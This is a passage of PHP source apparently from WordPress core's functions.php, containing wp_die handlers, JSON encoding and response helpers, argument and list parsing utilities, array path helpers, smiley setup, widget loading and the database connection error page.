splays XML response with an error message. * * This is the handler for wp_die() when processing XMLRPC requests. * * @since 3.2.0 * @access private * * @global wp_xmlrpc_server $wp_xmlrpc_server * * @param string $message Error message. * @param string $title Optional. Error title. Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) { global $wp_xmlrpc_server; list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( ! headers_sent() ) { nocache_headers(); } if ( $wp_xmlrpc_server ) { $error = new IXR_Error( $parsed_args['response'], $message ); $wp_xmlrpc_server->output( $error->getXml() ); } if ( $parsed_args['exit'] ) { die(); } } /** * Kills WordPress execution and displays XML response with an error message. * * This is the handler for wp_die() when processing XML requests. * * @since 5.2.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _xml_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $message = htmlspecialchars( $message ); $title = htmlspecialchars( $title ); $xml = << {$parsed_args['code']} <![CDATA[{$title}]]> {$parsed_args['response']} EOD; if ( ! headers_sent() ) { header( "Content-Type: text/xml; charset={$parsed_args['charset']}" ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } echo $xml; if ( $parsed_args['exit'] ) { die(); } } /** * Kills WordPress execution and displays an error message. * * This is the handler for wp_die() when processing APP requests. * * @since 3.4.0 * @since 5.1.0 Added the $title and $args parameters. * @access private * * @param string $message Optional. Response to print. Default empty. * @param string $title Optional. Error title (unused). Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _scalar_wp_die_handler( $message = '', $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( $parsed_args['exit'] ) { if ( is_scalar( $message ) ) { die( (string) $message ); } die(); } if ( is_scalar( $message ) ) { echo (string) $message; } } /** * Processes arguments passed to wp_die() consistently for its handlers. * * @since 5.1.0 * @access private * * @param string|WP_Error $message Error message or WP_Error object. * @param string $title Optional. Error title. Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. * @return array { * Processed arguments. * * @type string $0 Error message. * @type string $1 Error title. * @type array $2 Arguments to control behavior. * } */ function _wp_die_process_input( $message, $title = '', $args = array() ) { $defaults = array( 'response' => 0, 'code' => '', 'exit' => true, 'back_link' => false, 'link_url' => '', 'link_text' => '', 'text_direction' => '', 'charset' => 'utf-8', 'additional_errors' => array(), ); $args = wp_parse_args( $args, $defaults ); if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) { if ( ! empty( $message->errors ) ) { $errors = array(); foreach ( (array) $message->errors as $error_code => $error_messages ) { foreach ( (array) $error_messages as $error_message ) { $errors[] = array( 'code' => $error_code, 'message' => $error_message, 'data' => $message->get_error_data( $error_code ), ); } } $message = $errors[0]['message']; if ( empty( $args['code'] ) ) { $args['code'] = $errors[0]['code']; } if ( empty( $args['response'] ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['status'] ) ) { $args['response'] = $errors[0]['data']['status']; } if ( empty( $title ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['title'] ) ) { $title = $errors[0]['data']['title']; } unset( $errors[0] ); $args['additional_errors'] = array_values( $errors ); } else { $message = ''; } } $have_gettext = function_exists( '__' ); // The $title and these specific $args must always have a non-empty value. if ( empty( $args['code'] ) ) { $args['code'] = 'wp_die'; } if ( empty( $args['response'] ) ) { $args['response'] = 500; } if ( empty( $title ) ) { $title = $have_gettext ? __( 'WordPress › Error' ) : 'WordPress › Error'; } if ( empty( $args['text_direction'] ) || ! in_array( $args['text_direction'], array( 'ltr', 'rtl' ), true ) ) { $args['text_direction'] = 'ltr'; if ( function_exists( 'is_rtl' ) && is_rtl() ) { $args['text_direction'] = 'rtl'; } } if ( ! empty( $args['charset'] ) ) { $args['charset'] = _canonical_charset( $args['charset'] ); } return array( $message, $title, $args ); } /** * Encode a variable into JSON, with some sanity checks. * * @since 4.1.0 * @since 5.3.0 No longer handles support for PHP < 5.6. * * @param mixed $data Variable (usually an array or object) to encode as JSON. * @param int $options Optional. Options to be passed to json_encode(). Default 0. * @param int $depth Optional. Maximum depth to walk through $data. Must be * greater than 0. Default 512. * @return string|false The JSON encoded string, or false if it cannot be encoded. */ function wp_json_encode( $data, $options = 0, $depth = 512 ) { $json = json_encode( $data, $options, $depth ); // If json_encode() was successful, no need to do more sanity checking. if ( false !== $json ) { return $json; } try { $data = _wp_json_sanity_check( $data, $depth ); } catch ( Exception $e ) { return false; } return json_encode( $data, $options, $depth ); } /** * Perform sanity checks on data that shall be encoded to JSON. * * @ignore * @since 4.1.0 * @access private * * @see wp_json_encode() * * @throws Exception If depth limit is reached. * * @param mixed $data Variable (usually an array or object) to encode as JSON. * @param int $depth Maximum depth to walk through $data. Must be greater than 0. * @return mixed The sanitized data that shall be encoded to JSON. */ function _wp_json_sanity_check( $data, $depth ) { if ( $depth < 0 ) { throw new Exception( 'Reached depth limit' ); } if ( is_array( $data ) ) { $output = array(); foreach ( $data as $id => $el ) { // Don't forget to sanitize the ID! if ( is_string( $id ) ) { $clean_id = _wp_json_convert_string( $id ); } else { $clean_id = $id; } // Check the element type, so that we're only recursing if we really have to. if ( is_array( $el ) || is_object( $el ) ) { $output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 ); } elseif ( is_string( $el ) ) { $output[ $clean_id ] = _wp_json_convert_string( $el ); } else { $output[ $clean_id ] = $el; } } } elseif ( is_object( $data ) ) { $output = new stdClass; foreach ( $data as $id => $el ) { if ( is_string( $id ) ) { $clean_id = _wp_json_convert_string( $id ); } else { $clean_id = $id; } if ( is_array( $el ) || is_object( $el ) ) { $output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 ); } elseif ( is_string( $el ) ) { $output->$clean_id = _wp_json_convert_string( $el ); } else { $output->$clean_id = $el; } } } elseif ( is_string( $data ) ) { return _wp_json_convert_string( $data ); } else { return $data; } return $output; } /** * Convert a string to UTF-8, so that it can be safely encoded to JSON. * * @ignore * @since 4.1.0 * @access private * * @see _wp_json_sanity_check() * * @param string $string The string which is to be converted. * @return string The checked string. */ function _wp_json_convert_string( $string ) { static $use_mb = null; if ( is_null( $use_mb ) ) { $use_mb = function_exists( 'mb_convert_encoding' ); } if ( $use_mb ) { $encoding = mb_detect_encoding( $string, mb_detect_order(), true ); if ( $encoding ) { return mb_convert_encoding( $string, 'UTF-8', $encoding ); } else { return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' ); } } else { return wp_check_invalid_utf8( $string, true ); } } /** * Prepares response data to be serialized to JSON. * * This supports the JsonSerializable interface for PHP 5.2-5.3 as well. * * @ignore * @since 4.4.0 * @deprecated 5.3.0 This function is no longer needed as support for PHP 5.2-5.3 * has been dropped. * @access private * * @param mixed $data Native representation. * @return bool|int|float|null|string|array Data ready for `json_encode()`. */ function _wp_json_prepare_data( $data ) { _deprecated_function( __FUNCTION__, '5.3.0' ); return $data; } /** * Send a JSON response back to an Ajax request. * * @since 3.5.0 * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $response Variable (usually an array or object) to encode as JSON, * then print and die. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. */ function wp_send_json( $response, $status_code = null, $options = 0 ) { if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: WP_REST_Response, 2: WP_Error */ __( 'Return a %1$s or %2$s object from your callback when using the REST API.' ), 'WP_REST_Response', 'WP_Error' ), '5.5.0' ); } if ( ! headers_sent() ) { header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) ); if ( null !== $status_code ) { status_header( $status_code ); } } echo wp_json_encode( $response, $options ); if ( wp_doing_ajax() ) { wp_die( '', '', array( 'response' => null, ) ); } else { die; } } /** * Send a JSON response back to an Ajax request, indicating success. * * @since 3.5.0 * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $data Optional. Data to encode as JSON, then print and die. Default null. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. */ function wp_send_json_success( $data = null, $status_code = null, $options = 0 ) { $response = array( 'success' => true ); if ( isset( $data ) ) { $response['data'] = $data; } wp_send_json( $response, $status_code, $options ); } /** * Send a JSON response back to an Ajax request, indicating failure. * * If the `$data` parameter is a WP_Error object, the errors * within the object are processed and output as an array of error * codes and corresponding messages. All other types are output * without further processing. * * @since 3.5.0 * @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in. * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $data Optional. Data to encode as JSON, then print and die. Default null. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. */ function wp_send_json_error( $data = null, $status_code = null, $options = 0 ) { $response = array( 'success' => false ); if ( isset( $data ) ) { if ( is_wp_error( $data ) ) { $result = array(); foreach ( $data->errors as $code => $messages ) { foreach ( $messages as $message ) { $result[] = array( 'code' => $code, 'message' => $message, ); } } $response['data'] = $result; } else { $response['data'] = $data; } } wp_send_json( $response, $status_code, $options ); } /** * Checks that a JSONP callback is a valid JavaScript callback name. * * Only allows alphanumeric characters and the dot character in callback * function names. This helps to mitigate XSS attacks caused by directly * outputting user input. * * @since 4.6.0 * * @param string $callback Supplied JSONP callback function name. * @return bool Whether the callback function name is valid. */ function wp_check_jsonp_callback( $callback ) { if ( ! is_string( $callback ) ) { return false; } preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count ); return 0 === $illegal_char_count; } /** * Reads and decodes a JSON file. * * @since 5.9.0 * * @param string $filename Path to the JSON file. * @param array $options { * Optional. Options to be used with `json_decode()`. * * @type bool associative Optional. When `true`, JSON objects will be returned as associative arrays. * When `false`, JSON objects will be returned as objects. * } * * @return mixed Returns the value encoded in JSON in appropriate PHP type. * `null` is returned if the file is not found, or its content can't be decoded. */ function wp_json_file_decode( $filename, $options = array() ) { $result = null; $filename = wp_normalize_path( realpath( $filename ) ); if ( ! file_exists( $filename ) ) { trigger_error( sprintf( /* translators: %s: Path to the JSON file. */ __( "File %s doesn't exist!" ), $filename ) ); return $result; } $options = wp_parse_args( $options, array( 'associative' => false ) ); $decoded_file = json_decode( file_get_contents( $filename ), $options['associative'] ); if ( JSON_ERROR_NONE !== json_last_error() ) { trigger_error( sprintf( /* translators: 1: Path to the JSON file, 2: Error message. */ __( 'Error when decoding a JSON file at path %1$s: %2$s' ), $filename, json_last_error_msg() ) ); return $result; } return $decoded_file; } /** * Retrieve the WordPress home page URL. * * If the constant named 'WP_HOME' exists, then it will be used and returned * by the function. This can be used to counter the redirection on your local * development environment. * * @since 2.2.0 * @access private * * @see WP_HOME * * @param string $url URL for the home location. * @return string Homepage location. */ function _config_wp_home( $url = '' ) { if ( defined( 'WP_HOME' ) ) { return untrailingslashit( WP_HOME ); } return $url; } /** * Retrieve the WordPress site URL. * * If the constant named 'WP_SITEURL' is defined, then the value in that * constant will always be returned. This can be used for debugging a site * on your localhost while not having to change the database to your URL. * * @since 2.2.0 * @access private * * @see WP_SITEURL * * @param string $url URL to set the WordPress site location. * @return string The WordPress Site URL. */ function _config_wp_siteurl( $url = '' ) { if ( defined( 'WP_SITEURL' ) ) { return untrailingslashit( WP_SITEURL ); } return $url; } /** * Delete the fresh site option. * * @since 4.7.0 * @access private */ function _delete_option_fresh_site() { update_option( 'fresh_site', '0' ); } /** * Set the localized direction for MCE plugin. * * Will only set the direction to 'rtl', if the WordPress locale has * the text direction set to 'rtl'. * * Fills in the 'directionality' setting, enables the 'directionality' * plugin, and adds the 'ltr' button to 'toolbar1', formerly * 'theme_advanced_buttons1' array keys. These keys are then returned * in the $mce_init (TinyMCE settings) array. * * @since 2.1.0 * @access private * * @param array $mce_init MCE settings array. * @return array Direction set for 'rtl', if needed by locale. */ function _mce_set_direction( $mce_init ) { if ( is_rtl() ) { $mce_init['directionality'] = 'rtl'; $mce_init['rtl_ui'] = true; if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) { $mce_init['plugins'] .= ',directionality'; } if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) { $mce_init['toolbar1'] .= ',ltr'; } } return $mce_init; } /** * Convert smiley code to the icon graphic file equivalent. * * You can turn off smilies, by going to the write setting screen and unchecking * the box, or by setting 'use_smilies' option to false or removing the option. * * Plugins may override the default smiley list by setting the $wpsmiliestrans * to an array, with the key the code the blogger types in and the value the * image file. * * The $wp_smiliessearch global is for the regular expression and is set each * time the function is called. * * The full list of smilies can be found in the function and won't be listed in * the description. Probably should create a Codex page for it, so that it is * available. * * @global array $wpsmiliestrans * @global array $wp_smiliessearch * * @since 2.2.0 */ function smilies_init() { global $wpsmiliestrans, $wp_smiliessearch; // Don't bother setting up smilies if they are disabled. if ( ! get_option( 'use_smilies' ) ) { return; } if ( ! isset( $wpsmiliestrans ) ) { $wpsmiliestrans = array( ':mrgreen:' => 'mrgreen.png', ':neutral:' => "\xf0\x9f\x98\x90", ':twisted:' => "\xf0\x9f\x98\x88", ':arrow:' => "\xe2\x9e\xa1", ':shock:' => "\xf0\x9f\x98\xaf", ':smile:' => "\xf0\x9f\x99\x82", ':???:' => "\xf0\x9f\x98\x95", ':cool:' => "\xf0\x9f\x98\x8e", ':evil:' => "\xf0\x9f\x91\xbf", ':grin:' => "\xf0\x9f\x98\x80", ':idea:' => "\xf0\x9f\x92\xa1", ':oops:' => "\xf0\x9f\x98\xb3", ':razz:' => "\xf0\x9f\x98\x9b", ':roll:' => "\xf0\x9f\x99\x84", ':wink:' => "\xf0\x9f\x98\x89", ':cry:' => "\xf0\x9f\x98\xa5", ':eek:' => "\xf0\x9f\x98\xae", ':lol:' => "\xf0\x9f\x98\x86", ':mad:' => "\xf0\x9f\x98\xa1", ':sad:' => "\xf0\x9f\x99\x81", '8-)' => "\xf0\x9f\x98\x8e", '8-O' => "\xf0\x9f\x98\xaf", ':-(' => "\xf0\x9f\x99\x81", ':-)' => "\xf0\x9f\x99\x82", ':-?' => "\xf0\x9f\x98\x95", ':-D' => "\xf0\x9f\x98\x80", ':-P' => "\xf0\x9f\x98\x9b", ':-o' => "\xf0\x9f\x98\xae", ':-x' => "\xf0\x9f\x98\xa1", ':-|' => "\xf0\x9f\x98\x90", ';-)' => "\xf0\x9f\x98\x89", // This one transformation breaks regular text with frequency. // '8)' => "\xf0\x9f\x98\x8e", '8O' => "\xf0\x9f\x98\xaf", ':(' => "\xf0\x9f\x99\x81", ':)' => "\xf0\x9f\x99\x82", ':?' => "\xf0\x9f\x98\x95", ':D' => "\xf0\x9f\x98\x80", ':P' => "\xf0\x9f\x98\x9b", ':o' => "\xf0\x9f\x98\xae", ':x' => "\xf0\x9f\x98\xa1", ':|' => "\xf0\x9f\x98\x90", ';)' => "\xf0\x9f\x98\x89", ':!:' => "\xe2\x9d\x97", ':?:' => "\xe2\x9d\x93", ); } /** * Filters all the smilies. * * This filter must be added before `smilies_init` is run, as * it is normally only run once to setup the smilies regex. * * @since 4.7.0 * * @param string[] $wpsmiliestrans List of the smilies' hexadecimal representations, keyed by their smily code. */ $wpsmiliestrans = apply_filters( 'smilies', $wpsmiliestrans ); if ( count( $wpsmiliestrans ) == 0 ) { return; } /* * NOTE: we sort the smilies in reverse key order. This is to make sure * we match the longest possible smilie (:???: vs :?) as the regular * expression used below is first-match */ krsort( $wpsmiliestrans ); $spaces = wp_spaces_regexp(); // Begin first "subpattern". $wp_smiliessearch = '/(?<=' . $spaces . '|^)'; $subchar = ''; foreach ( (array) $wpsmiliestrans as $smiley => $img ) { $firstchar = substr( $smiley, 0, 1 ); $rest = substr( $smiley, 1 ); // New subpattern? if ( $firstchar != $subchar ) { if ( '' !== $subchar ) { $wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern". $wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern". } $subchar = $firstchar; $wp_smiliessearch .= preg_quote( $firstchar, '/' ) . '(?:'; } else { $wp_smiliessearch .= '|'; } $wp_smiliessearch .= preg_quote( $rest, '/' ); } $wp_smiliessearch .= ')(?=' . $spaces . '|$)/m'; } /** * Merges user defined arguments into defaults array. * * This function is used throughout WordPress to allow for both string or array * to be merged into another array. * * @since 2.2.0 * @since 2.3.0 `$args` can now also be an object. * * @param string|array|object $args Value to merge with $defaults. * @param array $defaults Optional. Array that serves as the defaults. * Default empty array. * @return array Merged user defined values with defaults. */ function wp_parse_args( $args, $defaults = array() ) { if ( is_object( $args ) ) { $parsed_args = get_object_vars( $args ); } elseif ( is_array( $args ) ) { $parsed_args =& $args; } else { wp_parse_str( $args, $parsed_args ); } if ( is_array( $defaults ) && $defaults ) { return array_merge( $defaults, $parsed_args ); } return $parsed_args; } /** * Converts a comma- or space-separated list of scalar values to an array. * * @since 5.1.0 * * @param array|string $list List of values. * @return array Array of values. */ function wp_parse_list( $list ) { if ( ! is_array( $list ) ) { return preg_split( '/[\s,]+/', $list, -1, PREG_SPLIT_NO_EMPTY ); } return $list; } /** * Cleans up an array, comma- or space-separated list of IDs. * * @since 3.0.0 * @since 5.1.0 Refactored to use wp_parse_list(). * * @param array|string $list List of IDs. * @return int[] Sanitized array of IDs. */ function wp_parse_id_list( $list ) { $list = wp_parse_list( $list ); return array_unique( array_map( 'absint', $list ) ); } /** * Cleans up an array, comma- or space-separated list of slugs. * * @since 4.7.0 * @since 5.1.0 Refactored to use wp_parse_list(). * * @param array|string $list List of slugs. * @return string[] Sanitized array of slugs. */ function wp_parse_slug_list( $list ) { $list = wp_parse_list( $list ); return array_unique( array_map( 'sanitize_title', $list ) ); } /** * Extract a slice of an array, given a list of keys. * * @since 3.1.0 * * @param array $array The original array. * @param array $keys The list of keys. * @return array The array slice. */ function wp_array_slice_assoc( $array, $keys ) { $slice = array(); foreach ( $keys as $key ) { if ( isset( $array[ $key ] ) ) { $slice[ $key ] = $array[ $key ]; } } return $slice; } /** * Accesses an array in depth based on a path of keys. * * It is the PHP equivalent of JavaScript's `lodash.get()` and mirroring it may help other components * retain some symmetry between client and server implementations. * * Example usage: * * $array = array( * 'a' => array( * 'b' => array( * 'c' => 1, * ), * ), * ); * _wp_array_get( $array, array( 'a', 'b', 'c' ) ); * * @internal * * @since 5.6.0 * @access private * * @param array $array An array from which we want to retrieve some information. * @param array $path An array of keys describing the path with which to retrieve information. * @param mixed $default The return value if the path does not exist within the array, * or if `$array` or `$path` are not arrays. * @return mixed The value from the path specified. */ function _wp_array_get( $array, $path, $default = null ) { // Confirm $path is valid. if ( ! is_array( $path ) || 0 === count( $path ) ) { return $default; } foreach ( $path as $path_element ) { if ( ! is_array( $array ) || ( ! is_string( $path_element ) && ! is_integer( $path_element ) && ! is_null( $path_element ) ) || ! array_key_exists( $path_element, $array ) ) { return $default; } $array = $array[ $path_element ]; } return $array; } /** * Sets an array in depth based on a path of keys. * * It is the PHP equivalent of JavaScript's `lodash.set()` and mirroring it may help other components * retain some symmetry between client and server implementations. * * Example usage: * * $array = array(); * _wp_array_set( $array, array( 'a', 'b', 'c', 1 ) ); * * $array becomes: * array( * 'a' => array( * 'b' => array( * 'c' => 1, * ), * ), * ); * * @internal * * @since 5.8.0 * @access private * * @param array $array An array that we want to mutate to include a specific value in a path. * @param array $path An array of keys describing the path that we want to mutate. * @param mixed $value The value that will be set. */ function _wp_array_set( &$array, $path, $value = null ) { // Confirm $array is valid. if ( ! is_array( $array ) ) { return; } // Confirm $path is valid. if ( ! is_array( $path ) ) { return; } $path_length = count( $path ); if ( 0 === $path_length ) { return; } foreach ( $path as $path_element ) { if ( ! is_string( $path_element ) && ! is_integer( $path_element ) && ! is_null( $path_element ) ) { return; } } for ( $i = 0; $i < $path_length - 1; ++$i ) { $path_element = $path[ $i ]; if ( ! array_key_exists( $path_element, $array ) || ! is_array( $array[ $path_element ] ) ) { $array[ $path_element ] = array(); } $array = &$array[ $path_element ]; // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.VariableRedeclaration } $array[ $path[ $i ] ] = $value; } /** * This function is trying to replicate what * lodash's kebabCase (JS library) does in the client. * * The reason we need this function is that we do some processing * in both the client and the server (e.g.: we generate * preset classes from preset slugs) that needs to * create the same output. * * We can't remove or update the client's library due to backward compatibility * (some of the output of lodash's kebabCase is saved in the post content). * We have to make the server behave like the client. * * Changes to this function should follow updates in the client * with the same logic. * * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L14369 * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L278 * @link https://github.com/lodash-php/lodash-php/blob/master/src/String/kebabCase.php * @link https://github.com/lodash-php/lodash-php/blob/master/src/internal/unicodeWords.php * * @param string $string The string to kebab-case. * * @return string kebab-cased-string. */ function _wp_to_kebab_case( $string ) { //phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase // ignore the camelCase names for variables so the names are the same as lodash // so comparing and porting new changes is easier. /* * Some notable things we've removed compared to the lodash version are: * * - non-alphanumeric characters: rsAstralRange, rsEmoji, etc * - the groups that processed the apostrophe, as it's removed before passing the string to preg_match: rsApos, rsOptContrLower, and rsOptContrUpper * */ /** Used to compose unicode character classes. */ $rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff'; $rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf'; $rsPunctuationRange = '\\x{2000}-\\x{206f}'; $rsSpaceRange = ' \\t\\x0b\\f\\xa0\\x{feff}\\n\\r\\x{2028}\\x{2029}\\x{1680}\\x{180e}\\x{2000}\\x{2001}\\x{2002}\\x{2003}\\x{2004}\\x{2005}\\x{2006}\\x{2007}\\x{2008}\\x{2009}\\x{200a}\\x{202f}\\x{205f}\\x{3000}'; $rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde'; $rsBreakRange = $rsNonCharRange . $rsPunctuationRange . $rsSpaceRange; /** Used to compose unicode capture groups. */ $rsBreak = '[' . $rsBreakRange . ']'; $rsDigits = '\\d+'; // The last lodash version in GitHub uses a single digit here and expands it when in use. $rsLower = '[' . $rsLowerRange . ']'; $rsMisc = '[^' . $rsBreakRange . $rsDigits . $rsLowerRange . $rsUpperRange . ']'; $rsUpper = '[' . $rsUpperRange . ']'; /** Used to compose unicode regexes. */ $rsMiscLower = '(?:' . $rsLower . '|' . $rsMisc . ')'; $rsMiscUpper = '(?:' . $rsUpper . '|' . $rsMisc . ')'; $rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])'; $rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])'; $regexp = '/' . implode( '|', array( $rsUpper . '?' . $rsLower . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper, '$' ) ) . ')', $rsMiscUpper . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper . $rsMiscLower, '$' ) ) . ')', $rsUpper . '?' . $rsMiscLower . '+', $rsUpper . '+', $rsOrdUpper, $rsOrdLower, $rsDigits, ) ) . '/u'; preg_match_all( $regexp, str_replace( "'", '', $string ), $matches ); return strtolower( implode( '-', $matches[0] ) ); //phpcs:enable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase } /** * Determines if the variable is a numeric-indexed array. * * @since 4.4.0 * * @param mixed $data Variable to check. * @return bool Whether the variable is a list. */ function wp_is_numeric_array( $data ) { if ( ! is_array( $data ) ) { return false; } $keys = array_keys( $data ); $string_keys = array_filter( $keys, 'is_string' ); return count( $string_keys ) === 0; } /** * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * When using the `$field` argument, this function can also retrieve * a particular field from all matching objects, whereas wp_list_filter() * only does the filtering. * * @since 3.0.0 * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @param bool|string $field Optional. A field from the object to place instead * of the entire object. Default false. * @return array A list of objects or object fields. */ function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); $util->filter( $args, $operator ); if ( $field ) { $util->pluck( $field ); } return $util->get_output(); } /** * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * If you want to retrieve a particular field from all matching objects, * use wp_filter_object_list() instead. * * @since 3.1.0 * @since 4.7.0 Uses `WP_List_Util` class. * @since 5.9.0 Converted into a wrapper for `wp_filter_object_list()`. * * @param array $list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. */ function wp_list_filter( $list, $args = array(), $operator = 'AND' ) { return wp_filter_object_list( $list, $args, $operator ); } /** * Plucks a certain field out of each object or array in an array. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 3.1.0 * @since 4.0.0 $index_key parameter added. * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $list List of objects or arrays. * @param int|string $field Field from the object to place instead of the entire object. * @param int|string $index_key Optional. Field from the object to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$list` will be preserved in the results. */ function wp_list_pluck( $list, $field, $index_key = null ) { $util = new WP_List_Util( $list ); return $util->pluck( $field, $index_key ); } /** * Sorts an array of objects or arrays based on one or more orderby arguments. * * @since 4.7.0 * * @param array $list An array of objects to sort. * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as $orderby => $order. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby * is a string. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. */ function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); return $util->sort( $orderby, $order, $preserve_keys ); } /** * Determines if Widgets library should be loaded. * * Checks to make sure that the widgets library hasn't already been loaded. * If it hasn't, then it will load the widgets library and run an action hook. * * @since 2.2.0 */ function wp_maybe_load_widgets() { /** * Filters whether to load the Widgets library. * * Returning a falsey value from the filter will effectively short-circuit * the Widgets library from loading. * * @since 2.8.0 * * @param bool $wp_maybe_load_widgets Whether to load the Widgets library. * Default true. */ if ( ! apply_filters( 'load_default_widgets', true ) ) { return; } require_once ABSPATH . WPINC . '/default-widgets.php'; add_action( '_admin_menu', 'wp_widgets_add_menu' ); } /** * Append the Widgets menu to the themes main menu. * * @since 2.2.0 * @since 5.9.3 Don't specify menu order when the active theme is a block theme. * * @global array $submenu */ function wp_widgets_add_menu() { global $submenu; if ( ! current_theme_supports( 'widgets' ) ) { return; } $menu_name = __( 'Widgets' ); if ( wp_is_block_theme() ) { $submenu['themes.php'][] = array( $menu_name, 'edit_theme_options', 'widgets.php' ); } else { $submenu['themes.php'][7] = array( $menu_name, 'edit_theme_options', 'widgets.php' ); } ksort( $submenu['themes.php'], SORT_NUMERIC ); } /** * Flush all output buffers for PHP 5.2. * * Make sure all output buffers are flushed before our singletons are destroyed. * * @since 2.2.0 */ function wp_ob_end_flush_all() { $levels = ob_get_level(); for ( $i = 0; $i < $levels; $i++ ) { ob_end_flush(); } } /** * Load custom DB error or display WordPress DB error. * * If a file exists in the wp-content directory named db-error.php, then it will * be loaded instead of displaying the WordPress DB error. If it is not found, * then the WordPress DB error will be displayed instead. * * The WordPress DB error sets the HTTP status header to 500 to try to prevent * search engines from caching the message. Custom DB messages should do the * same. * * This function was backported to WordPress 2.3.2, but originally was added * in WordPress 2.5.0. * * @since 2.3.2 * * @global wpdb $wpdb WordPress database abstraction object. */ function dead_db() { global $wpdb; wp_load_translations_early(); // Load custom DB error template, if present. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { require_once WP_CONTENT_DIR . '/db-error.php'; die(); } // If installing or in the admin, provide the verbose message. if ( wp_installing() || defined( 'WP_ADMIN' ) ) { wp_die( $wpdb->error ); } // Otherwise, be terse. wp_die( '

' . __( 'Error establishing a database connection' ) . '

